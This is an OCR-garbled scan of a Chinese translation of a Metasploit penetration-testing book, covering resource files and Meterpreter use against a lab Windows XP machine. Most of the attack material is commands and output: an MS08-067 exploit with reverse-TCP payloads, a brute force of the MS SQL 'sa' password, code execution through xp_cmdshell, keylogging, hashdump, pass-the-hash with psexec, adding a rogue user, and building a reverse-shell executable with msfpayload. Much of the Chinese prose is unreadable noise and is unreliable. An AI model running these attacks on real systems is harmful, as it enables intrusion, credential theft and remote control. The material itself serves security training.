KBS AL TF R B 2 00 1, K AR O — R0, XA R IRATIR R S5
S U BISME AL L.

IATTAT AR 443 3 D BH #e B K ERFE L, FIFERI TR FTP. Telnet. SSH LAK HTTP
SEMRSAFAME O, TTELE —#HT22R. (B2 Metasploit CVEIREET — N4 AT 88
AP L AT o 1, RATVEFE B A E At 20 ?

Metasploit fRIIXBrili g fir &0 Brfy o F B9 DT 2R, H2IE R — R HATH.
(AN I 368 77 83 155 PR R ¥ PRI [ 1-65 535 1 FE B A A K RO B ) o)

T AR IRATME XA B T, e S B S DTSR, R B s o B 1 L

msf > use windows/smb/ms08_067 netapi

msf exploit(mso8_067_netapi) > set LHOST 192.168.33.129
lhost => 192.168.33.129

smsf exploit(ms08 067_netapi) > set RHOST 192.168.33.130
rhost => 192.168.33.130

msf exploit(mso8_067 netapi) > set TARGET 3

target => 3

msf exploit(mso8_067 netapi) > search ports

[*] Searching loaded modules for pattern 'ports'...

Compatible Payloads

Name Rank Description
windows/d11linject/reverse_tcp_allports normal Reflective D11 Injection,
Reverse All-Port TCP Stager
windows/meterpreter/reverse tcp allports normal Windows Meterpreter (Reflective
Injection), Reverse All-Port TCP Stager

.« o SNIP . ..

msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp_allports
payload => windows/meterpreter/reverse tcp_allports

msf exploit(mso8_067 netapi) > exploit -j

[*] Exploit running as background job.
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit 3&iE:R)iX 45 #a

msf exploit(mso8_067_netapi) >

[*¥] Started reverse handler on 192.168.33.129:1 @

[*] Triggering the vulnerability...

[*] Sending stage (748032 bytes)

[*] Meterpreter session 1 opened (192.168.33.129:1 -> 192.168.33.130:1047) @

msf exploit{ms08 067 netapi) > sessions -1 -v

Active sessions

Id Type Information Connection Via

1 meterpreter NT AUTHORITY\SYSTEM @ IHAZSECURITY 192.168.33.129:1 -> 192.168.33.130:1047
exploit/windows/smb/ms08_067_netapi

msf exploit(mso8_067_netapi} > sessions -i 1
[*] Starting interaction with 1...

meterpreter >

HFERMNAFERE LPORT 2%, MMM allports B 3£ 5T A 3% O LT MR,
HERR—MEITHRO. WRRTFAEEOLMSEIMURINMBGENG TR GEITH
M), E5HFETHLA 1047 35 0@ T%#e.

55 HREXH

WIS (resource files) J: MSF £ & R3Ol ar S HIHASCH: . X eesofpbss
fr bR AR LAFE MSF 234 04T I dr 251K, 5K P i dy R4 0UF AT . SIS BAK
KBRS R P RS (e, ibYRR IS B EBERE A T 2 EH WA S 1T A3k,

ATLLFE MSF #83m{ER] resource fir & B A BRI, S0 ol AZEBRIE R A M 4T 0B
FAEF-r b1 58 B SO D MSF 283 i) — N S 80 18 3 RIE1T .

Tl AR ) F ROR T T a8 — ME B8 Metasploit A<, HEAFFEFH%
WA

root@bt:/opt/framework3/msf3/ echo version > resource.rc @
root@bt:/opt/framework3/msf3/ echo load sounds »>> resource.rc &
root@bt:/opt/framework3/msf3/ msfconsole -r resource.rc @

@ resource (resource.rc)> version

Framework: 3.7.0-dev.12220
Console : 3.7.0-dev.12220
resource (resource.rc)> load sounds

[*] Successfully loaded plugin: sounds
mst >

WRET L, EOFO4L, version #74Hl load sounds 24 E N — 44 resource.re 3L
e, XA AEBE JE IR TE-r 28U 8 A E] msfeconsole @, & EX/MEFE BN, Hpa
A SERAT, HIITHE RO R,
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

#5® BEBEWEHZK

7 SR FRAS ch R T DL — AN BRSO, E i R A B RE . T
T H B F R TR — N BR8N autoexploitre [IYEIRSCAE, KBAT—IK SMB Hudi. A
FERXANEP SR E 7B H AR WHREESH, IXFEIERAT S AN F X X e S
BT FIRE 1.

root@bt: /opt/framework3/msf3/ echo use exploit/windows/smb/ms08_067_netapi > autoexploit.rc
root@bt: /opt/framework3/msf3/ echo set RHOST 192.168.1.155 >»> autoexploit.rc

root@bt : /opt/framework3/msf3/ echo set PAYLOAD windows/meterpreter/reverse tcp »» autoexploit.rc
root@bt : /opt/framework3/msf3/ echo set LHOST 192.168.1.101 »> autoexploit.rc

root@bt : /opt/framework3/msf3/ echo exploit »>»> autoexploit.rc

root@bt : /opt/framework3/msf3/ msfconsole

mst > resource autoexploit.rc

resource (autoexploit.rc)@: use exploit/windows/smb/ms08_067_netapi

resource (autoexploit.rc)> set RHOST 192.168.1.155

RHOST => 192.168.1.155

resource (autoexploit.rc)> set PAYLOAD windows/meterpreter/reverse_tcp

PAYLOAD => windows/meterpreter/reverse_tcp

resource (autoexploit.rc)> set LHOST 192.168.1.101

LHOST =» 192.168.1.101

resource (autoexploit.rc)> exploit

[*] Started reverse handler on 192.168.1.101:4444

[*] Triggering the vulnerability...

[*] Sending stage (747008 bytes)

[*] Meterpreter session 1 opened {192.168.%.101:4444 -> 192.168.1.155:1033)

meterpreter »

X BATIAE MSF 835 1 52 SR SUMF R A4, SORF P B ar 38 40402 B 3T, St 45 R o

O,

R MR E—EENEF, £F 12FF, REF T F| o712 A Karmetasploit, ‘€
B —AAE T B AR TR LA
5.6 I\&

MBAR, FRELMEH MSF iR T8 — e s b THLR Bdi, HHRIR T EM T2
R

FEAF S, A4 TBEBGLRFEMMIR, il S RARF, BT RO HirE
Bl BEICHPARERMNH A FAHBRADHAER LT . AFPERAER nmap A
) T BEAFTE IR O IR S, FEULEA B S BIEr, FFEREL T REUHI T i) AR .

FESR 6 Frh, TATHEXT Meterpreter BEAT S04 W4 IERIT, I I I L i D e BiFe E
e RIMAEBN N RE)G, Meterpreter 158 KT RES L RRE HIE.
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BTt I AT ORM L% S 2 AT AR 2 A B B AT A 4%, 5 I 24 AT 1) SEBRABCR) N AR FHV R ST o DRIAR St 38 40 W o)
KT HABLEA, WA BB bR R BOR AR R S BUR LI TR 2 Ak, WO S &, FKG L RT-F DAL . 15T R IERR To4E, SZFrE
2% 22 4o TR T e b I (WWW.17HUAN.COM) KR & 5B %t (BBS.176ku.COM) FLEEH AR HE E—A G5

. | -

Meterpreter

EEEF, BRIV “BERITET]” —Meterpreter 1T FIMEAR T #, ERBE
EHRFARERBEBCENBEMHE RBES . Meterpreter 2 Metasploit HEZE & f1— N R T4,
T HAE O i R H S A B0 B AT BT A By 2 7 A R R S RES AR (M4 AT — N E
E. #il, AAZEIERAH (RPC) IREK— MR, LRFAMRE, Ri1EH Meterpreter
TER AT, MEWHABERARS LA — 4 Meterpreter Shell % #:. Meterpreter &
Metasploit FEZE ] — AN ¥~ REBEER, 7 LLYEF Metasploit 1—2ThEk, M ERRLEHITERNE
ARBE, XEThEEERER. MNFETERN, FEBRHERR. SUERT. Bl Xk
FE.

X —FERAIA Metasploit B I i FiE KRB —G Windows XP HL2%, REFH
Meterpreter {E ATGEEN, BREEHNHIRRAE R — LIS TESER.
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit i&iEMit 15

6.1 IZPa Windows XP E#I#
6 VR4 A8 Meterpreter f0 5 REAS Y2 BT, RATBA G LB 6 RIS A

Meterpreter  shell.

6.1.1 {£MA Nmap B0

BANIFERAEH Nmap X Hbr#Efroe D8, DUUNIFREIRS, 3 n] LU TR R 5
W, W RUR:

msf > nmap -sT -A -P0 192.168.33.130 O

[*] exec: nmap -sT -A -P0 192.168.33.130

. SNIP. . .
PORT STATE SERVICE VERSION
21/tcp  open ftp Microsoft ftpd ©
25/tcp  open smtp Microsoft ESMTP 6.0.2600.2180 ©
80/tcp open http Microsoft IIS webserver 5.1 @
| _html-title: Directory Listing Denied
135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn

445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds

1025/tcp open msrpc Microsoft Windows RPC

1433/tcp open ms-sql-s Microsoft SQL Server 2005 9.00.1399; RTM @
6646/tcp open unknown

MAC Address: 00:0C:29:EA:26:7C (VMware)

Device type: general purpose

Running: Microsoft Windows XP|2003

05 details: Microsoft Windows XP Professional SP2 @ or Windows Server 2003

. SNIP . .
Nmap done: 1 IP address (1 host up) scanned in 37.58 seconds
msf >

Widiw NEMOTLIER], RETFR T —SHRENKD, B MS SQLOXR 532X i
Hye e A A EEMEEDT nmap 33, KMELRA S Windows XP Service Pack2®, X4~
BARRZCEATESF, FE£EAFRIFAE SP3 REh & i, (B SP2 hRRFELE.

ARG R PRI LE R T FTPOF SMTPOG [, X PR [ ] BEAE7E ol 6 F) H i 360 .
[FIRRIFIRT 80 Si @, FEWKERATAILZRBAT Web N Bidi

6.1.2 i MS SQL
FEXABITFH, BATEX MS SQL ¥ 1433 3 DT B, B4 04 4 % S AR
M, ATLASEESESNRIFREEE RAUR.
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

®E6H Meterpreter

Bk, RAMEEMRINGE T MS SQL, S5 EiA% MS SQL AR %537 8 A WA LIARENEH,
MS SQL BRi\ 2235 7E TCP 1433 3 DRI UDP 1434 35 0, fHFARAK MS SQL ¥ L4 FIBEHLZ)
A4 TCP 30, UDP 1434 5 D ME A 24k, o] LUE UDP ¥ MR A IR SQL fk45 f
TCP Bh&¥4i Mo

X H, @R AR B B FR RS _EE UDP 1434 35 R IT R

msf > nmap -sU 192.168.33.130 -p1434 ©

Nmap scan report for 192.168.33.130
Host is up (0.00033s latency).

PORT STATE SERVICE
1434/udp open ms-sql-m @

Nmap done: 1 IP address (1 host up) scanned in 0.46 seconds
msf >

ALLES, A% EH0KI MS SQL 1 UDP 1434 i 0RO, (F 11, 13/ 17#&
4% MS SQL Bl EE RN 4. )

LL MS SQL iy H ¥R, BATATLLEF mssql_ping #HKAR E MS SQL iRdim 0, HHATHF,
£ 504 MR35 . MS SQL NI RN BEREMA QR sa RRGEHIHF . ATHEE
MAFLERFNREEBHNLETIR, HEARETHBHEHEN, FHIRAITTAZHF
AR WA sa P B ERG .

T 7, BAVEER mssql_login BEREZAXT sa B /AT R SR

msf > use scanner/mssql/mssql_ping
msf auxiliary(mssql_ping) > show options

Module options:

Name Current Setting Required Description

PASSWORD no The password for the specified username
RHOSTS yes The target address range or CIDR identifier
THREADS 1 yes The number of concurrent threads

USERNAME sa no The username to authenticate as

msf auxiliary(mssql ping) > set RHOSTS 192.168.33.1/24
RHOSTS => 192.168.33.1/24

msf auxiliary(mssql_ping) > set THREADS 20

THREADS => 20

msf auxiliary(mssql_ping) > exploit

[*] Scanned 040 of 256 hosts (015% complete)
[*] Scanned 052 of 256 hosts (020% complete)
[*] Scanned 080 of 256 hosts (031% complete)
[*] Scanned 115 of 256 hosts (044% complete)
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit £ E X1 &
[*] SOL Server information for 192.168.33.130: @
[*] ServerName = IHAZSECURITY @
[*] InstanceName = SQLEXPRESS
[*] IsClustered = No
[*] Version = 9.00.1399.06 ©
[*]  tep = 1433 @
[*]1 np = \\IHAZSECURITY\pipe\MSSQL$SQLEXPRESS\sql\query
[*] Scanned 129 of 256 hosts (050% complete)

Wit use scanner/mssql/mssql_ping fr4 A mssql_ping BRI E S, R)5E1T,
A LLE S SQL AR% B 4%E1E 192.168.33.1300 |, HRF 34K THAZSECURITY®. hRASH
9.00.1399.06© (SQL Server 2005) , HIWT I D52 14330,

6.1.3 . RHME MS SQL PR F =%
T, BATFIH Metasploit HEBE ) mssql_login BHKHBEAT B T AR

msf > use scanner/mssql/mssql_login @
msf auxiliary(mssql login) > show options

Module options:

Name Current Setting Required Description
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to S
PASSWORD no The password for the specified username
PASS_FILE no File containing passwords, one per line
RHOSTS yes The target address range or CIDR identifier
RPORT 1433 yes The target port
THREADS 1 yes The number of concurrent threads
USERNAME sa no The username to authenticate as
USERPASS_FILE no File containing users and passwords
separated by space, one pair per line
USER_FILE no File containing usernames, one per line
VERBOSE true yes Whether to print output for all attempts

msf auxiliary(mssql login) > set PASS_FILE /pentest/exploits/fasttrack/bin/dict/wordlist.txt @
PASS FILE =» /pentest/exploits/fasttrack/bin/dict/wordlist.txt

msf auxiliary(mssql login} > set RHOSTS 192.168.33.130

RHOSTS => 192.168.33.130

msf auxiliary(mssql login) > set THREADS 10

THREADS => 10

msf auxiliary(mssql login) > set verbose false

verbose => false

msf auxiliary(mssql_login) > exploit

[+] 192.168.33.130:1433 - MSSQL - successful login 'sa’ : 'passwordi23’'@
[*] Scanned 1 of 1 hosts {100% complete)

[*] Auxiliary module execution completed
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

F6HE Meterpreter

YEFE mssql_login #iHe@, {#H] Fast-Track THIFEFIK @ . (A KA 11 FSr44 Fast-Track
RIS L4, MINIEME T sa 1% password123@.

J27%: Fast-Track R R B R F —LHHRBH—AT R, EAT EHLEF X, HAFA
YA Metasploit 125, Ri#t4TsE R4 & ShAi . Fast-Track #)— Sy fedd i L T vl R A sk
&A= B 3 & MS SQL.

6.1.4 xp_cmdshell

PL sa EE 5 K P AUPRIZAT MS SQL B, F&ATTATEA3RAT xp_cmdshell fFfILRE, A7
RFRN L SR BRAE REHAT R B I BAT 64 . xp_cmdshell /2 SQL Server PERE R KA
AT, AR MS SQL EA] xp_cmdshell HEXPITEER K G4, LUK HE
R AT ABRAT AT B Ay & (B AE R R P dn 24T . 17 MS SQL A% LA SYSTEM £
AARIZATH), Frel—B3k# sa 7, soT LAfAl i DU 2 53 5 43 2K U5 1] MS SQL IR /= 8 4E
RE.

A THERFEPEABCERG, RITHES xp_cmdshell AT E, FSMAMELEH, Hil
TN A AT S A AT 784 « David Kennedy #if Joshua Drake (jduck) BZ£HRE T — MR
B (mssql_payload), W] LA T xp_cmdshell SRH AT Metasploit B 8ifor :

mst > use windows/mssql/mssql_payload @
msf exploit(mssql payload) > show options

Module options:

Name Current Setting Required Description

PASSWORD no The password for the specified username

RHOST yes The target address

RPORT 1433 yes The target port

USERNAME sa no The username to authenticate as

UseCmdStager true no Wait for user input before returning from expleit
VERBOSE false no Enable verbose output

Exploit target:

Id Name
0 Automatic
msf exploit(mssql_payload) > set payload windows/meterpreter/reverse tcp @
payload => windows/meterpreter/reverse tcp
msf exploit{mssql_payload) > set LHOST 192.168.33.129
LHOST => 192.168.33.129
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit i&iEMix 15

msf exploit(mssql_payload) > set LPORT 443

LPORT => 443

msf exploit(mssql_payload) > set RHOST 192.168.33.130
RHOST => 192.168.33.130

msf exploit(mssql_payload) > set PASSWORD passwordi23
PASSWORD => passwordi23

msf exploit(mssql_payload) > exploit

[*] Started reverse handler on 192.168.33.129:443

[*] Command Stager progress - 2.78% done (1494/53679 bytes)
[*] Command Stager progress - 5.57% done (2988/53679 bytes)
[*] Command Stager progress - 8.35% done (4482/53679 bytes)

. . - SNIP . . .

[*] Command Stager progress - 97.32% done (52239/53679 bytes)

[*] Sending stage (748032 bytes)

[*] Meterpreter session 1 opened (192.168.33.129:443 -> 192.168.33.130:1699)
meterpreter > @

Y8 mssql_payload i@ )5, & EEANHBLL AT A meterpreter®, 7E /1 3)) Meterpreter 423
162 BTBA BT E A SRR X b 2 U 1TRCE . 047 exploit 25, Meterpreter 215 7E HAxHL b
IR ®.

BIEi—TF, AL~ mssql ping R E] MS SQL k%, 1] mssql login BEEIG R
MS SQL K] sa K4 —password123, SRJGMH mssql_payload 5 MS SQL T %
Meterpreter shell, MIMSEEL T X REH) EEAR TR, —BIRE T Meterpreter shell, HA 10T
LAX REBATEIRA KB R

6.1.5 Meterpreter XX @<

INNBR R I IRFREE Meterpreter 1G22 5, WAOITFTLURIH —2 A K Meterpreter
4, RWEELZKER. ETEAEMEH help dr4 &8 nl LL1F £ 20 7 i ] Meterpreter 7 B
R

1. BR

Meterpreter f¥] screenshot fiv4- 7] LR UG B0 1 1) 5 T U5 H R AT 5l /opt/metasploit3/msf3/
Hx, Wk 6-1 firx.

meterpreter > screenshot
Screenshot saved to: /opt/metasploit3/msf3/yVHXaZar.jpeg

FRE#ES R A b RS B — AN EERRL W 6-1 Frr, o] LI B ZHIZIT T McAfee
ABA, B R ARG R REM R T /NL T G 7 SRR AR o] BB R B 8D
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Gaor H: A FTHE ORI BE 2 ) 2, AT ARG 2 A P sl BEA T A%, 75 S 24 AT 1) SEBRBOR) N R FEIE A T AT . RIAS S 0 43 k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

$EB6® Meterpreter

B 6-1 Meterpreter #5¢

2. sysinfo

HATHERR BN S S R sysinfo, XM AR KR RLZITHFE, WTFHUR:
meterpreter > sysinfo
Computer: IHAZSECURITY

0s : Windows XP (Build 2600, Service Pack 2).
Arch : x86

Language: en_US

TLLES, #BIERS R Windows XP Service Pack 2, F24 SP2 CAHBYHY, XEWEHES
e — KHERRIF o

6.1.6 IKENSERICE

BARNTERB RGO EN, o] UL B s g i 77k, ] IEZE 41 EikiTi
K. EELZHET, ERLERATH ps frRKIKF HIR RS EESITHIZHEE.,

meterpreter > ps ©

Process list

PID  Name Arch Session User Path
0 [System Process]
4 System x86 © NT AUTHORITY\SYSTEM

- SNIP . ..
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kS o

ST RSP HEBORMU A2 ) 2 ], ARAT AN AN 2 A 88 AT A48, 17 IR 25 AT 1) SE AR A R B AT DR AS i 8 20 BB
KU T AR, WAL BT bR R IR BRI A R R BUR A M S AR Z AL, B0 5 A0, BRI F AR B ISR IERRASRE, SRR

i

%

TG TS HAEF E W (WWW.17THUAN.COM) K& IR G %k it s (BBS.176ku.COM) fLEH AT E—A&r.

Metasploit 3% 0% 5 &

1476 spoolsv.exe x86 0O NT AUTHORITY\SYSTEM C: \WINDOWS\

system32\spoolsv.exe
1668 explorer.exe @ X86 0 THAZSECURITY\Administrator  C:\WINDOWS\

Explorer.EXE
. SNIP .

4032 notepad.exe x86 0O THAZSECURITY\Administrator  C:\WINDOWS\
system32\notepad.exe

meterpreter > migrate 1668 ©

[*] Migrating to 1668...

[*] Migration completed successfully.

meterpreter > run post/windows/capture/keylog recorder @

[*] Executing module against V-MAC-XP

[*] Starting the keystroke sniffer...

[*] Keystrokes being saved in to /root/.msf3/loot/
20110324171334_default_192.168.1.195_host.windows.key 179703.txt
[*] Recording keystrokes...

[*] Saving last few keystrokes...

root@bt:~# cat /root/.msf3/loot/20110324171334 default 192.168.1.195_host.windows.key 179703.txt @
Keystroke log started at Thu Mar 24 17:13:34 -0600 2011

administrator password <Back> <Back> <Back> <Back> <Back> <Back> <Back> <Tab> passwordi23!!

AT ps 2O T BIE explorer.exe TEH ISR O . FAIER migrate dr 2 @K 41F
LB E explorer.exe WHFE AT, ZJ5 83N keylog_recorder FiiR @, — BB} [a] J5{# ] CTRL-C
ik, BE, £ AMERE, JRERRMNEARECRMHREINANES.

6.2 ZiEMH R AIE

TESCRT RG] P, RATE A CSREA A SRS, mRNEARE IR, R
AT LA Meterpreter SKARBUAR G045 M SO BT P 46 FOBERG IS A6 A -

6.2.1 REEERAE

KRB A Meterpreter '/ hashdump SIABEYE, RIBERG M A 4 EBSF -
ik Windows R EEA7 M I 3\ — M4 LAN Manager (LM). NT LAN Manager (NTLM),
8 NT LAN Manager v2 (NTLMv2).

Bltn, £ LM FEeE 7 a0rh, S B OM A E D el U P %, SR e g A .
HTRAHKERMRE, BEBYISN 7T NEF AR AE. Ll password123456 (3RS A1,
B A (B UL passwor 1 d123456 177 A7, BrUAMEEE R R ER Mg 7 N2/ - A%,
MARFLGH 14 DFRF . T NTLM @67 NERFD KT R, #HS password123456 K 1E 4
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ST AT PORMN AL A S 2 AT AN R 2 A B AT AR, A5 B 2 AT 1) SE R AR N AR ST DRIAR S8 40 W k)
KT HABLEA, WA BB bR R BOR AR R S BUR LI TR 2 Ak, WO S &, FKG L RT-F DAL . 15T R IERR To4E, SZFrE
2% 22 4o TR T e b I (WWW.17HUAN.COM) KR & 5B %t (BBS.176ku.COM) FLEEH AR HE E—A G5

o

¥ 6EFE Meterpreter

gL R £ LR i RER L

BR: BANAEXERA AR EEEHARABGRE T J T, b LM T LR K
14 NFHFERGERD, ZHRGELEL f ShiER A4 NTLM 6995-F G- X, Bpi& M s £ 3
AR YT WAL Rk A T 4 4 0 18] A et AL AT AR,

TN AERERITIEIK UID 24 500 ) Administrator B /7 kS & e #1H (Windows
AEBRAEHE RN Administrator). Administrator:500 J5 i) 5 22 )& Administrator 3 65 B P54
Wy A A

Administrator:500:e52cac67419a9a22cbb699e2fdfcc59e @ :30ef086423F916decc378aacd2cdefoc @:::

B AREOLE LMWBEAME, F-PUENTLMBFHEHO.
TR RBAVEM B R Windows XP RS0 FHREUH 2 FIEE o A58 .

6.2.2 {EM Meterpreter tn S K ZEREMRFH{E

EEHFRRSG LEE - MEIAMER, W thisisacrazylongpassword&&!'@@##, 5 i A
Meterpreter FFIRELH AR RS ERA ) L EHESAE (L2 TR . BRATEH use priv 4
%, BWHBITERAKS k.

RN Z 2K SEHEE (SAM) B, RINFEIBITE SYSTEM HRT, itz
RIBR &, RECZ R HIAFH Windows P FIEFIE ) SAM 76l 18 A LR ERINL E3ATIX
M, REBHRRTERIBRI A 2NHEERAME. FiHMERERTRIMEA hashdump
iy SRR G I P 42 FI B g A5 (8.

meterpreter > use priv

Loading extension priv...success.

meterpreter > run post/windows/gathexr/hashdump

[*] Obtaining the boot key...

[*] Calculating the hboot key using SYSKEY 8528c78df7ff55040196a9b670f114b6. ..

{*] Obtaining the user 1list and keys...

[*] Decrypting user keys...

[*] Dumping password hashes...
Administrator:500:aad3b43sbs1404eeaad3b43shs1404ee:b75989f65d1e04af7625ed712ac36c29: ::

Ll aad3b435 FLHMBHEE I TFRIRAFENRHEE—FFHHE/F GG
Administrator:500:NOPASSWD:ntlm M &t T —FE) . BT 14 FAHECHE, Windows
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ST RSP HEBORMU A2 ) 2 ], ARAT AN AN 2 A 88 AT A48, 17 IR 25 AT 1) SE AR A R B AT DR AS i 8 20 BB

ﬂéﬁ%ﬁﬁijﬂ WHFAE B bR SRR BORIE RS R SEBURIE IR PRI Z AL, W& S50, ok b7 RIACE . 75 R,
2% 22 4o TR T e b I (WWW.17HUAN.COM) KR & 5B %t (BBS.176ku.COM) FLEEH AR HE E—A G5

Metasploit & &R 155

REEK HATAE R LM JBR, FrUATEf% 4 aad3bd3s.. 058, REF MY,

- IMBBESEE - N\
HHARHE, TAXHK—T: %@ﬁiiﬁiﬁﬂm&##&ﬂimﬁﬁ%,
12 hashdump $85% 3 4984 (1 SL41 9 —A LM 6558 A0 (£ E51% o4 aad3b435 7 %
WEE), RERFEXHFLERRT DR ICGSEME. FHUS, RTRARME
KRG ED (EERERAGEENES, BHREELTHEEH XA RN
ABRAFL) . XA RN, BRI R A 28 % X B AL B KA
B, BERAMFLEE. HHATARFH 09, az. FRFHPTRGEERS,
| Gdeh A RAIEST BRTAMGIE, T RS 6 RE AT 0B
\;&#ﬁ%%ﬁﬁﬁﬁﬂﬁﬁﬁwi. o o J

6.3 fFIEMRFE

FERTEE G T b, RATEET — fURBRI: BAICKREEIEE G P P 4oy
Al (ERRATABELE AT 852 06 W] K B SO PR HH SR . RN An T B SO D, el i i ix A
AFKSERIELHEN, NBEZHRER?

IX R R B e A AR EOR , AU B A A E L T, M4 A58 30 . A Metasploit
t) windows/smb/psexec S AT LASEEL, @0 F Brw:

msf> use windows/smb/psexec @

msf exploit(psexec)> set PAYLOAD windows/meterpreter/reverse tcp
payload => windows/meterpreter/reverse_tcp

msf exploit{psexec)> set LHOST 192.168.33.129

LHOST => 192,168.33.129

msf exploit{psexec)> set LPORT 443

LPORT => 443

msf exploit(psexec)> set RHOST 192.168.33.130

RHOST => 192.168.33.130

. SNIP . . .

msf exploit(psexec)> set SMBPass
aad3ba35b51404eeaad3ba35b51404ee: b75989f65d1e04af7625ed712ac36¢2
SMBPass => aad3b435b51404eeaad3bg3sb51404ee:b75989165d1e04af7625
msf exploit(psexec)> exploit

[*] Connecting to the server...

[*] Started reverse handlexr

[*] Authenticating as user 'Administrator’...
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

$H6E Meterpreter

[*] Uploading payload...
[*] Created \]sOvAFLy.exe...

#4F smb/psexec HH@, & E4F LHOST. LPORT il RHOST &2 J5, # SMBPass &
B E N RIS M A0, TTLIFFIAIEENM T, RATKMT Meterpreter 2i5. IXH
AN AT, WAFEYSCET, AUUE R EDREAER RS T EEANR.

WRBANE THREMED— G EH, ELEHRT, XEEIKNERRKS 5+
HA A BB RGN 1% HF. XREIRAM o] UG AR 65, sARRS st BN NI B S A
A BLE .

6.4 RIEFH

IAERATIRG T HAR ARG U7 M BUR, wT LI net user 4615 PR AR PR (3 58 A3 7 ik
G o BAT VR G UEAR QT 00 22 7 00 T O AR BEAT R A (R UATESS 8 P E LTy

0 F D .
R CASERR A P IS BN, BB REIRIT REEE QAR — e, WIKS TR
] DA pe R 2 1)

7t Windows XP [ H #x#L LEIALL T fir 4

C:\Documents and Settings\Administrator»>net user bob passwordi23 /add.

WG, RAMNGIE - ANHT Meterpreter BB iti 3 4 B2 F——payload.exe, HHIE|HFx XP
b, HHTE bob MK FIETT, XRBMFE THZBHAFKS . EXALE P, ROEAK
T 8E (msfpayload) 68 LI IE Windows HT AT 3L 4% 2B Meterpreter Bk 82
J¥ payload.exe. (#E5 7 BHEATH 21418 msfpayload HISE L 40 15)

root@bt:/opt/framework3/msf3# msfpayload windows/metexrpreter/reverse_tcp
LHOST=192.168.33.129 LPORT=443 X > payload.exe O

root@bt: /opt/framework3/msf3# msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp
LHO5T=192.168.33.129 LPORT=443 E @

[*] Please wait while we load the module tree...

[*] Started reverse handler on 192.168.33.129:443

[*] Starting the payload handler...

[*] sending stage (748032 bytes)

[*] Meterpreter session 1 opened (192.168.33.129:443 -> 192.168.33.130:1056)
meterpreter > getuid @

Server username: IHAZSECURITY\baob
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit &R 15

B2 Meterpreter BB A, TP B K LHOST 1 LPORT S¥dE7R T [ shell 4%
BBl LB RE R 1 443, BEFERATAA msfcli # TRV S RHER, SHEERIERN
%, #5475 Meterpreter ) shell,

FEAGHHL EOER Meterpreter RJ$ATFEF @, i3] Windows XP Hl L, #RJGLL bob i/
BT,

A 1O U E MU AW Meterpreter 3%, RIGTE HAR RS EIAT payload.exe, 38—
FRH /1Y) Meterpreter ¥4 ©. filin, FATATLLTE Back|Track Hl_EA M payload.exe, #% U1 %

Windows XP Hl L, 2R 51 & WUT LIk Meterpreter €51 .

meterpreter > shell @

